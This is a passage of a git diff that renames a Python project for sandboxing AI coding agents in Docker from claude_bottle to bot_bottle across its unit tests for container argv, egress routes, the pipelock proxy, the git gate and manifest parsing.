"bot-bottle-dev-abc", "claude"], argv, ) @@ -45,20 +45,20 @@ class TestClaudeArgv(unittest.TestCase): ["--dangerously-skip-permissions", "--continue"], ) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "claude", + ["docker", "exec", "-it", "bot-bottle-dev-abc", "claude", "--dangerously-skip-permissions", "--continue"], argv, ) def test_appends_prompt_file_flag_when_set(self): - argv = _bottle("/home/node/.claude-bottle-prompt.txt").claude_argv( + argv = _bottle("/home/node/.bot-bottle-prompt.txt").claude_argv( ["--dangerously-skip-permissions"], ) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "claude", + ["docker", "exec", "-it", "bot-bottle-dev-abc", "claude", "--dangerously-skip-permissions", "--append-system-prompt-file", - "/home/node/.claude-bottle-prompt.txt"], + "/home/node/.bot-bottle-prompt.txt"], argv, ) @@ -76,7 +76,7 @@ class TestClaudeArgv(unittest.TestCase): def test_tty_false_drops_it_flag(self): argv = _bottle().claude_argv([], tty=False) self.assertEqual( - ["docker", "exec", "claude-bottle-dev-abc", "claude"], + ["docker", "exec", "bot-bottle-dev-abc", "claude"], argv, ) @@ -94,26 +94,26 @@ class TestClaudeArgv(unittest.TestCase): ["--dangerously-bypass-approvals-and-sandbox"], ) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "codex", + ["docker", "exec", "-it", "bot-bottle-dev-abc", "codex", "--dangerously-bypass-approvals-and-sandbox"], argv, ) def test_codex_provider_passes_prompt_reference_as_initial_prompt(self): - argv = _codex_bottle("/home/node/.claude-bottle-prompt.txt").claude_argv([]) + argv = _codex_bottle("/home/node/.bot-bottle-prompt.txt").claude_argv([]) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "codex", + ["docker", "exec", "-it", "bot-bottle-dev-abc", "codex", "Read and follow the instructions in " - "/home/node/.claude-bottle-prompt.txt."], + "/home/node/.bot-bottle-prompt.txt."], argv, ) def test_codex_resume_does_not_append_initial_prompt(self): - argv = _codex_bottle("/home/node/.claude-bottle-prompt.txt").claude_argv( + argv = _codex_bottle("/home/node/.bot-bottle-prompt.txt").claude_argv( ["--dangerously-bypass-approvals-and-sandbox", "resume", "--last"], ) self.assertEqual( - ["docker", "exec", "-it", "claude-bottle-dev-abc", "codex", + ["docker", "exec", "-it", "bot-bottle-dev-abc", "codex", "--dangerously-bypass-approvals-and-sandbox", "resume", "--last"], argv, ) diff --git a/tests/unit/test_docker_cleanup.py b/tests/unit/test_docker_cleanup.py index 582ffe4..8d4c394 100644 --- a/tests/unit/test_docker_cleanup.py +++ b/tests/unit/test_docker_cleanup.py @@ -15,21 +15,21 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state -from claude_bottle.backend.docker.cleanup import _list_orphan_state_dirs +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state +from bot_bottle.backend.docker.cleanup import _list_orphan_state_dirs class _FakeHomeMixin: def _setup_fake_home(self) -> None: self._tmp = tempfile.TemporaryDirectory(prefix="docker-cleanup-test.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self) -> None: self._restore() @@ -61,7 +61,7 @@ class TestOrphanStateDirs(_FakeHomeMixin, unittest.TestCase): bottle_state.write_per_bottle_dockerfile("live-bbb", "FROM x\n") self.assertEqual( [], - _list_orphan_state_dirs({"claude-bottle-live-bbb"}, set()), + _list_orphan_state_dirs({"bot-bottle-live-bbb"}, set()), ) def test_preserve_marker_skips_dir(self): @@ -86,7 +86,7 @@ class TestOrphanStateDirs(_FakeHomeMixin, unittest.TestCase): bottle_state.write_per_bottle_dockerfile("kept-ggg", "FROM z\n") bottle_state.mark_preserved("kept-ggg") - result = _list_orphan_state_dirs({"claude-bottle-live-fff"}, set()) + result = _list_orphan_state_dirs({"bot-bottle-live-fff"}, set()) self.assertEqual(["orphan-eee"], result) def test_sorted_output(self): @@ -116,7 +116,7 @@ class TestOrphanStateDirs(_FakeHomeMixin, unittest.TestCase): self.assertEqual( [], _list_orphan_state_dirs( - {"claude-bottle-something-else"}, # different project up + {"bot-bottle-something-else"}, # different project up {"smol-iii"}, # but smol-iii is live ), ) diff --git a/tests/unit/test_docker_enumerate_active.py b/tests/unit/test_docker_enumerate_active.py index 48d97b4..2d58c8d 100644 --- a/tests/unit/test_docker_enumerate_active.py +++ b/tests/unit/test_docker_enumerate_active.py @@ -23,8 +23,8 @@ import tempfile import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state, enumerate as _enumerate +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state, enumerate as _enumerate class TestParseServicesByProject(unittest.TestCase): @@ -33,18 +33,18 @@ class TestParseServicesByProject(unittest.TestCase): def test_one_container(self): out = _enumerate._parse_services_by_project( - "claude-bottle-dev-abc\tegress\n" + "bot-bottle-dev-abc\tegress\n" ) - self.assertEqual({"claude-bottle-dev-abc": {"egress"}}, out) + self.assertEqual({"bot-bottle-dev-abc": {"egress"}}, out) def test_multiple_services_per_project(self): out = _enumerate._parse_services_by_project( - "claude-bottle-dev-abc\tegress\n" - "claude-bottle-dev-abc\tpipelock\n" - "claude-bottle-dev-abc\tsupervise\n" + "bot-bottle-dev-abc\tegress\n" + "bot-bottle-dev-abc\tpipelock\n" + "bot-bottle-dev-abc\tsupervise\n" ) self.assertEqual( - {"claude-bottle-dev-abc": {"egress", "pipelock", "supervise"}}, + {"bot-bottle-dev-abc": {"egress", "pipelock", "supervise"}}, out, ) @@ -63,24 +63,24 @@ class TestParseServicesByProject(unittest.TestCase): # Defends against unlabeled containers slipping into the # output (the filter should prevent it, but be robust). out = _enumerate._parse_services_by_project( - "claude-bottle-dev-abc\tegress\n" + "bot-bottle-dev-abc\tegress\n" "no-tab-here\n" "\tmissing-project\n" "missing-service\t\n" ) - self.assertEqual({"claude-bottle-dev-abc": {"egress"}}, out) + self.assertEqual({"bot-bottle-dev-abc": {"egress"}}, out) class _FakeHomeMixin: def _setup_fake_home(self) -> None: self._tmp = tempfile.TemporaryDirectory(prefix="enum-active.") - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - self._restore_home = lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + self._restore_home = lambda: setattr(supervise, "bot_bottle_root", original) def _teardown_fake_home(self) -> None: self._restore_home() @@ -113,11 +113,11 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase): cwd="", copy_cwd=False, started_at="2026-05-26T03:00:00+00:00", - compose_project="claude-bottle-dev-abc", + compose_project="bot-bottle-dev-abc", )) self._stub( ["dev-abc"], - {"claude-bottle-dev-abc": {"pipelock", "egress", "supervise"}}, + {"bot-bottle-dev-abc": {"pipelock", "egress", "supervise"}}, ) active = _enumerate.enumerate_active() self.assertEqual(1, len(active)) @@ -131,7 +131,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase): def test_missing_metadata_renders_question_mark(self): # State dir doesn't exist for this slug — agent_name falls # back to "?" rather than dropping the row. - self._stub(["mystery-zzz"], {"claude-bottle-mystery-zzz": {"pipelock"}}) + self._stub(["mystery-zzz"], {"bot-bottle-mystery-zzz": {"pipelock"}}) active = _enumerate.enumerate_active() self.assertEqual(1, len(active)) self.assertEqual("?", active[0].agent_name) @@ -148,7 +148,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase): cwd="", copy_cwd=False, started_at="2026-05-26T03:05:00+00:00", - compose_project="claude-bottle-warming-up", + compose_project="bot-bottle-warming-up", )) self._stub(["warming-up"], {}) active = _enumerate.enumerate_active() @@ -162,7 +162,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase): cwd="", copy_cwd=False, started_at="t", - compose_project=f"claude-bottle-{slug}", + compose_project=f"bot-bottle-{slug}", )) # list_active_slugs returns sorted; preserve that order in # the output. diff --git a/tests/unit/test_docker_provision_git_user.py b/tests/unit/test_docker_provision_git_user.py index fa51cb6..52c9896 100644 --- a/tests/unit/test_docker_provision_git_user.py +++ b/tests/unit/test_docker_provision_git_user.py @@ -13,13 +13,13 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend import BottleSpec -from claude_bottle.backend.docker.bottle_plan import DockerBottlePlan -from claude_bottle.backend.docker.provision import git as _git -from claude_bottle.egress import EgressPlan -from claude_bottle.git_gate import GitGatePlan -from claude_bottle.manifest import Manifest -from claude_bottle.pipelock import PipelockProxyPlan +from bot_bottle.backend import BottleSpec +from bot_bottle.backend.docker.bottle_plan import DockerBottlePlan +from bot_bottle.backend.docker.provision import git as _git +from bot_bottle.egress import EgressPlan +from bot_bottle.git_gate import GitGatePlan +from bot_bottle.manifest import Manifest +from bot_bottle.pipelock import PipelockProxyPlan def _plan(*, git_user: dict | None = None, @@ -39,11 +39,11 @@ def _plan(*, git_user: dict | None = None, spec=spec, stage_dir=stage_dir or Path("/tmp/stage"), slug="demo-abc12", - container_name="claude-bottle-demo-abc12", + container_name="bot-bottle-demo-abc12", container_name_pinned=False, - image="claude-bottle:latest", + image="bot-bottle-claude:latest", derived_image="", - runtime_image="claude-bottle:latest", + runtime_image="bot-bottle-claude:latest", dockerfile_path="", env_file=Path("/tmp/agent.env"), forwarded_env={}, @@ -93,7 +93,7 @@ class TestProvisionGitUser(unittest.TestCase): def test_noop_when_no_git_user(self): with patch.object(_git.subprocess, "run") as run: _git._provision_git_user( - _plan(stage_dir=self.stage), "claude-bottle-demo-abc12", + _plan(stage_dir=self.stage), "bot-bottle-demo-abc12", ) self.assertEqual([], _git_config_calls(run)) @@ -103,14 +103,14 @@ class TestProvisionGitUser(unittest.TestCase): stage_dir=self.stage, ) with patch.object(_git.subprocess, "run") as run: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = _git_config_calls(run) self.assertEqual(2, len(calls)) # All `docker exec` invocations run as `-u node` so the # --global config lands in /home/node/.gitconfig. for argv in calls: self.assertEqual( - ["docker", "exec", "-u", "node", "claude-bottle-demo-abc12", + ["docker", "exec", "-u", "node", "bot-bottle-demo-abc12", "git", "config", "--global"], argv[:8], ) @@ -120,7 +120,7 @@ class TestProvisionGitUser(unittest.TestCase): def test_name_only_sets_only_name(self): plan = _plan(git_user={"name": "Bot"}, stage_dir=self.stage) with patch.object(_git.subprocess, "run") as run: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = _git_config_calls(run) self.assertEqual(1, len(calls)) self.assertEqual(["user.name", "Bot"], calls[0][8:]) @@ -130,7 +130,7 @@ class TestProvisionGitUser(unittest.TestCase): git_user={"email": "bot@example.com"}, stage_dir=self.stage, ) with patch.object(_git.subprocess, "run") as run: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = _git_config_calls(run) self.assertEqual(1, len(calls)) self.assertEqual(["user.email", "bot@example.com"], calls[0][8:]) diff --git a/tests/unit/test_docker_util_image.py b/tests/unit/test_docker_util_image.py index 4afe043..78b92a5 100644 --- a/tests/unit/test_docker_util_image.py +++ b/tests/unit/test_docker_util_image.py @@ -1,5 +1,5 @@ """Unit: image_id / tag / push helpers in -claude_bottle.backend.docker.util (PRD 0023 chunk 4c additions). +bot_bottle.backend.docker.util (PRD 0023 chunk 4c additions). Tests mock `subprocess.run` and assert on argv shape + parsing. The actual docker round-trip is covered by the chunk 4c @@ -11,7 +11,7 @@ import subprocess import unittest from unittest.mock import patch -from claude_bottle.backend.docker import util as docker_mod +from bot_bottle.backend.docker import util as docker_mod def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: @@ -34,11 +34,11 @@ class TestImageId(unittest.TestCase): return_value=_ok(stdout="sha256:abcdef\n"), ) as run: self.assertEqual( - "sha256:abcdef", docker_mod.image_id("claude-bottle:latest") + "sha256:abcdef", docker_mod.image_id("bot-bottle-claude:latest") ) argv = run.call_args.args[0] self.assertEqual( - ["docker", "image", "inspect", "--format", "{{.Id}}", "claude-bottle:latest"], + ["docker", "image", "inspect", "--format", "{{.Id}}", "bot-bottle-claude:latest"], argv, ) @@ -59,10 +59,10 @@ class TestSave(unittest.TestCase): with patch.object( docker_mod.subprocess, "run", return_value=_ok(), ) as run: - docker_mod.save("claude-bottle:latest", "/tmp/img.tar") + docker_mod.save("bot-bottle-claude:latest", "/tmp/img.tar") argv = run.call_args.args[0] self.assertEqual( - ["docker", "save", "claude-bottle:latest", "-o", "/tmp/img.tar"], + ["docker", "save", "bot-bottle-claude:latest", "-o", "/tmp/img.tar"], argv, ) diff --git a/tests/unit/test_egress.py b/tests/unit/test_egress.py index 4587db3..56bb190 100644 --- a/tests/unit/test_egress.py +++ b/tests/unit/test_egress.py @@ -3,7 +3,7 @@ resolution (PRD 0017).""" import unittest -from claude_bottle.egress import ( +from bot_bottle.egress import ( DEFAULT_ALLOWLIST, egress_manifest_routes, egress_render_routes, @@ -11,9 +11,9 @@ from claude_bottle.egress import ( egress_routes_for_bottle, egress_token_env_map, ) -from claude_bottle.log import Die -from claude_bottle.manifest import Manifest -from claude_bottle.yaml_subset import parse_yaml_subset +from bot_bottle.log import Die +from bot_bottle.manifest import Manifest +from bot_bottle.yaml_subset import parse_yaml_subset def _bottle(routes): @@ -188,7 +188,7 @@ class TestRenderRoutes(unittest.TestCase): def test_round_trip_through_addon_core(self): # Render here → parse in the addon must succeed for every # combination the manifest can produce. - from claude_bottle.egress_addon_core import load_routes + from bot_bottle.egress_addon_core import load_routes b = _bottle([ {"host": "api.github.com", "auth": {"scheme": "Bearer", "token_ref": "GH_PAT"}, diff --git a/tests/unit/test_egress_addon_core.py b/tests/unit/test_egress_addon_core.py index ab13f8b..312b6ac 100644 --- a/tests/unit/test_egress_addon_core.py +++ b/tests/unit/test_egress_addon_core.py @@ -6,7 +6,7 @@ half of the addon. The mitmproxy hook wrapper in import unittest -from claude_bottle.egress_addon_core import ( +from bot_bottle.egress_addon_core import ( Decision, Route, decide, diff --git a/tests/unit/test_egress_apply.py b/tests/unit/test_egress_apply.py index dbe714c..29c63fd 100644 --- a/tests/unit/test_egress_apply.py +++ b/tests/unit/test_egress_apply.py @@ -4,14 +4,14 @@ integration test.""" import unittest -from claude_bottle.backend.docker.egress_apply import ( +from bot_bottle.backend.docker.egress_apply import ( EgressApplyError, _hosts_in_routes, _merge_single_route, _pipelock_safe_hosts, validate_routes_content, ) -from claude_bottle.yaml_subset import parse_yaml_subset +from bot_bottle.yaml_subset import parse_yaml_subset # YAML fixtures matching the hand-rolled `_render_routes_payload` diff --git a/tests/unit/test_egress_entrypoint.py b/tests/unit/test_egress_entrypoint.py index 3e88c17..b3ecd61 100644 --- a/tests/unit/test_egress_entrypoint.py +++ b/tests/unit/test_egress_entrypoint.py @@ -21,7 +21,7 @@ from pathlib import Path _SCRIPT = ( Path(__file__).resolve().parent.parent.parent - / "claude_bottle" / "egress_entrypoint.sh" + / "bot_bottle" / "egress_entrypoint.sh" ) diff --git a/tests/unit/test_git_gate.py b/tests/unit/test_git_gate.py index a43d37f..9c509ee 100644 --- a/tests/unit/test_git_gate.py +++ b/tests/unit/test_git_gate.py @@ -5,7 +5,7 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.git_gate import ( +from bot_bottle.git_gate import ( GitGate, GitGatePlan, GitGateUpstream, @@ -16,8 +16,8 @@ from claude_bottle.git_gate import ( git_gate_render_hook, git_gate_upstreams_for_bottle, ) -from claude_bottle.log import Die -from claude_bottle.manifest import Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import Manifest from tests.fixtures import fixture_minimal, fixture_with_git @@ -34,7 +34,7 @@ class TestUpstreamsForBottle(unittest.TestCase): bottle = fixture_with_git().bottles["dev"] ups = git_gate_upstreams_for_bottle(bottle) self.assertEqual(2, len(ups)) - self.assertEqual("claude-bottle", ups[0].name) + self.assertEqual("bot-bottle", ups[0].name) self.assertEqual("gitea.dideric.is", ups[0].upstream_host) self.assertEqual("30009", ups[0].upstream_port) self.assertEqual("foo", ups[1].name) @@ -53,8 +53,8 @@ class TestExtraHostsPlumbing(unittest.TestCase): "dev": { "git": {"remotes": { "gitea.dideric.is": { - "Name": "claude-bottle", - "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + "Name": "bot-bottle", + "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", "IdentityFile": "/dev/null", "ExtraHosts": {"gitea.dideric.is": "100.78.141.42"}, }, @@ -140,8 +140,8 @@ class TestEntrypointRender(unittest.TestCase): def test_one_init_repo_call_per_upstream(self): ups = ( GitGateUpstream( - name="claude-bottle", - upstream_url="ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + name="bot-bottle", + upstream_url="ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", upstream_host="gitea.dideric.is", upstream_port="30009", identity_file="/host/path/key", @@ -159,8 +159,8 @@ class TestEntrypointRender(unittest.TestCase): script = git_gate_render_entrypoint(ups) self.assertIn("#!/bin/sh", script) self.assertIn( - "init_repo 'claude-bottle' " - "'ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git'", + "init_repo 'bot-bottle' " + "'ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git'", script, ) self.assertIn( diff --git a/tests/unit/test_manifest_egress.py b/tests/unit/test_manifest_egress.py index 50a5ed4..edf14dc 100644 --- a/tests/unit/test_manifest_egress.py +++ b/tests/unit/test_manifest_egress.py @@ -7,8 +7,8 @@ auth omission means unauthenticated.""" import unittest -from claude_bottle.log import Die -from claude_bottle.manifest import EgressRoute, Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import EgressRoute, Manifest def _bottle(routes): diff --git a/tests/unit/test_manifest_extends.py b/tests/unit/test_manifest_extends.py index 86a72c7..ecd4fdb 100644 --- a/tests/unit/test_manifest_extends.py +++ b/tests/unit/test_manifest_extends.py @@ -14,8 +14,8 @@ import contextlib import io import unittest -from claude_bottle.log import Die -from claude_bottle.manifest import Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import Manifest def _die_message(callable_, *args, **kwargs) -> str: diff --git a/tests/unit/test_manifest_git.py b/tests/unit/test_manifest_git.py index 4418425..c926423 100644 --- a/tests/unit/test_manifest_git.py +++ b/tests/unit/test_manifest_git.py @@ -2,8 +2,8 @@ import unittest -from claude_bottle.log import Die -from claude_bottle.manifest import Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import Manifest def _manifest(git_entries): @@ -31,18 +31,18 @@ def _host_for(entry): class TestGitEntryParsing(unittest.TestCase): def test_parses_minimal_entry(self): m = Manifest.from_json_obj(_manifest([{ - "Name": "claude-bottle", - "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + "Name": "bot-bottle", + "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", "IdentityFile": "/dev/null", }])) entries = m.bottles["dev"].git self.assertEqual(1, len(entries)) e = entries[0] - self.assertEqual("claude-bottle", e.Name) + self.assertEqual("bot-bottle", e.Name) self.assertEqual("git", e.UpstreamUser) self.assertEqual("gitea.dideric.is", e.UpstreamHost) self.assertEqual("30009", e.UpstreamPort) - self.assertEqual("didericis/claude-bottle.git", e.UpstreamPath) + self.assertEqual("didericis/bot-bottle.git", e.UpstreamPath) def test_default_port_is_22(self): m = Manifest.from_json_obj(_manifest([{ @@ -137,8 +137,8 @@ class TestGitEntryExtraHosts(unittest.TestCase): def test_extra_hosts_parses_host_to_ip_map(self): m = Manifest.from_json_obj(_manifest([{ - "Name": "claude-bottle", - "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + "Name": "bot-bottle", + "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", "IdentityFile": "/dev/null", "ExtraHosts": {"gitea.dideric.is": "100.78.141.42"}, }])) diff --git a/tests/unit/test_manifest_git_user.py b/tests/unit/test_manifest_git_user.py index 8c943e2..07c044d 100644 --- a/tests/unit/test_manifest_git_user.py +++ b/tests/unit/test_manifest_git_user.py @@ -4,8 +4,8 @@ import contextlib import io import unittest -from claude_bottle.log import Die -from claude_bottle.manifest import GitUser, Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import GitUser, Manifest def _die_message(callable_, *args, **kwargs) -> str: diff --git a/tests/unit/test_manifest_md_load.py b/tests/unit/test_manifest_md_load.py index cf72317..fa05fab 100644 --- a/tests/unit/test_manifest_md_load.py +++ b/tests/unit/test_manifest_md_load.py @@ -11,8 +11,8 @@ import textwrap import unittest from pathlib import Path -from claude_bottle.log import Die -from claude_bottle.manifest import Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import Manifest def _write(p: Path, text: str) -> None: @@ -63,21 +63,21 @@ class _ResolveCase(unittest.TestCase): shutil.rmtree(self.home_root, ignore_errors=True) shutil.rmtree(self.cwd_root, ignore_errors=True) - # Convenience: paths under home/cwd .claude-bottle dirs. + # Convenience: paths under home/cwd .bot-bottle dirs. @property def home_cb(self) -> Path: - return self.home_root / ".claude-bottle" + return self.home_root / ".bot-bottle" @property def cwd_cb(self) -> Path: - return self.cwd_root / ".claude-bottle" + return self.cwd_root / ".bot-bottle" def resolve(self) -> Manifest: return Manifest.resolve(str(self.cwd_root)) class TestBottleFileParses(_ResolveCase): - """SC #1: a bottle file under $HOME/.claude-bottle/bottles/ + """SC #1: a bottle file under $HOME/.bot-bottle/bottles/ parses into the expected Bottle shape.""" def test_loads(self): @@ -94,7 +94,7 @@ class TestBottleFileParses(_ResolveCase): class TestAgentFileParses(_ResolveCase): - """SC #2: an agent file under $HOME/.claude-bottle/agents/ + """SC #2: an agent file under $HOME/.bot-bottle/agents/ parses, the body becomes the prompt, the frontmatter fields map to Agent fields.""" @@ -171,7 +171,7 @@ class TestStdlibOnly(unittest.TestCase): existence of an `import yaml`-free file is the assertion.""" def test_no_pyyaml(self): - src = Path("claude_bottle/yaml_subset.py").read_text() + src = Path("bot_bottle/yaml_subset.py").read_text() self.assertNotIn("import yaml", src) self.assertNotIn("from yaml", src) @@ -262,12 +262,12 @@ class TestUnknownBottleKeyDies(_ResolveCase): class TestStaleJsonDies(_ResolveCase): - """If `claude-bottle.json` exists in $HOME alongside no - `.claude-bottle/` dir, die with a clear pointer at the README's + """If `bot-bottle.json` exists in $HOME alongside no + `.bot-bottle/` dir, die with a clear pointer at the README's new manifest section. Don't silently ignore the JSON content.""" def test_dies(self): - (self.home_root / "claude-bottle.json").write_text('{"bottles": {}}') + (self.home_root / "bot-bottle.json").write_text('{"bottles": {}}') with self.assertRaises(Die): self.resolve() diff --git a/tests/unit/test_manifest_runtime.py b/tests/unit/test_manifest_runtime.py index c41abf3..3c86091 100644 --- a/tests/unit/test_manifest_runtime.py +++ b/tests/unit/test_manifest_runtime.py @@ -7,8 +7,8 @@ silently ignoring.""" import unittest from typing import Any -from claude_bottle.log import Die -from claude_bottle.manifest import Bottle, Manifest +from bot_bottle.log import Die +from bot_bottle.manifest import Bottle, Manifest def _manifest_with_runtime(value: object) -> dict[str, Any]: diff --git a/tests/unit/test_pipelock_allowlist.py b/tests/unit/test_pipelock_allowlist.py index 892d02d..56624ce 100644 --- a/tests/unit/test_pipelock_allowlist.py +++ b/tests/unit/test_pipelock_allowlist.py @@ -5,8 +5,8 @@ contribute; they flow through the per-agent git-gate (PRD 0008).""" import unittest -from claude_bottle.manifest import Manifest -from claude_bottle.pipelock import ( +from bot_bottle.manifest import Manifest +from bot_bottle.pipelock import ( pipelock_effective_allowlist, pipelock_effective_tls_passthrough, ) diff --git a/tests/unit/test_pipelock_apply.py b/tests/unit/test_pipelock_apply.py index 1f48226..db49a63 100644 --- a/tests/unit/test_pipelock_apply.py +++ b/tests/unit/test_pipelock_apply.py @@ -6,13 +6,13 @@ test in Phase 4. Here we cover the host-side parsing + yaml roundtrip. import unittest -from claude_bottle.backend.docker.pipelock_apply import ( +from bot_bottle.backend.docker.pipelock_apply import ( PipelockApplyError, parse_allowlist_content, render_allowlist_content, ) -from claude_bottle.pipelock import pipelock_render_yaml -from claude_bottle.yaml_subset import parse_yaml_subset +from bot_bottle.pipelock import pipelock_render_yaml +from bot_bottle.yaml_subset import parse_yaml_subset class TestParseAllowlistContent(unittest.TestCase): diff --git a/tests/unit/test_pipelock_yaml.py b/tests/unit/test_pipelock_yaml.py index 45772e0..1d1c68c 100644 --- a/tests/unit/test_pipelock_yaml.py +++ b/tests/unit/test_pipelock_yaml.py @@ -12,8 +12,8 @@ import unittest from pathlib import Path from typing import Any, cast -from claude_bottle.manifest import Manifest -from claude_bottle.pipelock import ( +from bot_bottle.manifest import Manifest +from bot_bottle.pipelock import ( DEFAULT_TLS_PASSTHROUGH, PipelockProxy, pipelock_build_config, @@ -114,7 +114,7 @@ class TestBuildConfig(unittest.TestCase): # fires. The only knob that actually skips the block is the # global on/off, so we flip it off whenever the bottle is set # up to route claude through pipelock. - from claude_bottle.manifest import Manifest + from bot_bottle.manifest import Manifest bottle = Manifest.from_json_obj({ "bottles": {"dev": {"egress": {"routes": [ {"host": "api.anthropic.com", @@ -209,7 +209,7 @@ class TestRenderAndWrite(unittest.TestCase): self.assertIn('- "172.20.0.0/16"', text) def test_render_emits_seed_phrase_off_for_anthropic_route(self): - from claude_bottle.manifest import Manifest + from bot_bottle.manifest import Manifest bottle = Manifest.from_json_obj({ "bottles": {"dev": {"egress": {"routes": [ {"host": "api.anthropic.com", diff --git a/tests/unit/test_provision_git.py b/tests/unit/test_provision_git.py index 1f79604..c1f4e5f 100644 --- a/tests/unit/test_provision_git.py +++ b/tests/unit/test_provision_git.py @@ -1,12 +1,12 @@ """Unit: render of ~/.gitconfig insteadOf rules (PRD 0008). -The render moved to `claude_bottle.git_gate` so both backends +The render moved to `bot_bottle.git_gate` so both backends share it; tests live here because docker's provision_git is the original consumer.""" import unittest -from claude_bottle.git_gate import ( +from bot_bottle.git_gate import ( GIT_GATE_HOSTNAME, git_gate_render_gitconfig, ) @@ -26,12 +26,12 @@ class TestGitGateGitconfigRender(unittest.TestCase): # Both entries map to a [url ...] block keyed on the gate's # short network alias (`git-gate`) inside the sidecar bundle. self.assertIn( - '[url "git://git-gate/claude-bottle.git"]', + '[url "git://git-gate/bot-bottle.git"]', out, ) self.assertIn( "\tinsteadOf = " - "ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + "ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", out, ) self.assertIn('[url "git://git-gate/foo.git"]', out) @@ -56,7 +56,7 @@ class TestGitGateGitconfigRender(unittest.TestCase): bottle = fixture_with_git().bottles["dev"] out = git_gate_render_gitconfig(bottle.git, "192.168.20.2:9418") self.assertIn( - '[url "git://192.168.20.2:9418/claude-bottle.git"]', out, + '[url "git://192.168.20.2:9418/bot-bottle.git"]', out, ) diff --git a/tests/unit/test_provision_supervise.py b/tests/unit/test_provision_supervise.py index 64f1b5e..da7e2b1 100644 --- a/tests/unit/test_provision_supervise.py +++ b/tests/unit/test_provision_supervise.py @@ -8,8 +8,8 @@ plumbing surfaces in unit CI.""" import unittest -from claude_bottle.backend.docker.provision.supervise import supervise_mcp_url -from claude_bottle.supervise import SUPERVISE_HOSTNAME, SUPERVISE_PORT +from bot_bottle.backend.docker.provision.supervise import supervise_mcp_url +from bot_bottle.supervise import SUPERVISE_HOSTNAME, SUPERVISE_PORT class TestSuperviseMcpUrl(unittest.TestCase): diff --git a/tests/unit/test_sidecar_init.py b/tests/unit/test_sidecar_init.py index a2b87db..0cfddf4 100644 --- a/tests/unit/test_sidecar_init.py +++ b/tests/unit/test_sidecar_init.py @@ -1,6 +1,6 @@ """Unit: sidecar bundle init supervisor (PRD 0024 chunk 1). -Tests both the helper functions in `claude_bottle.sidecar_init` +Tests both the helper functions in `bot_bottle.sidecar_init` and the supervisor's end-to-end signal / exit-code behavior. The end-to-end tests use real subprocesses (`/bin/sleep`, `/bin/sh -c '...'`) — short-lived, no docker required — so they @@ -17,7 +17,7 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.sidecar_init import ( +from bot_bottle.sidecar_init import ( _DaemonSpec, _Supervisor, _env_for_daemon, @@ -88,18 +88,18 @@ class TestSelectedDaemons(unittest.TestCase): ["egress", "pipelock", "git-gate", "supervise"]) def test_empty_returns_all(self): - got = _selected_daemons({"CLAUDE_BOTTLE_SIDECAR_DAEMONS": ""}, + got = _selected_daemons({"BOT_BOTTLE_SIDECAR_DAEMONS": ""}, all_daemons=self._DAEMONS) self.assertEqual(4, len(got)) def test_whitespace_only_returns_all(self): - got = _selected_daemons({"CLAUDE_BOTTLE_SIDECAR_DAEMONS": " "}, + got = _selected_daemons({"BOT_BOTTLE_SIDECAR_DAEMONS": " "}, all_daemons=self._DAEMONS) self.assertEqual(4, len(got)) def test_explicit_subset(self): got = _selected_daemons( - {"CLAUDE_BOTTLE_SIDECAR_DAEMONS": "egress,pipelock"}, + {"BOT_BOTTLE_SIDECAR_DAEMONS": "egress,pipelock"}, all_daemons=self._DAEMONS, ) self.assertEqual([d.name for d in got], ["egress", "pipelock"]) @@ -109,7 +109,7 @@ class 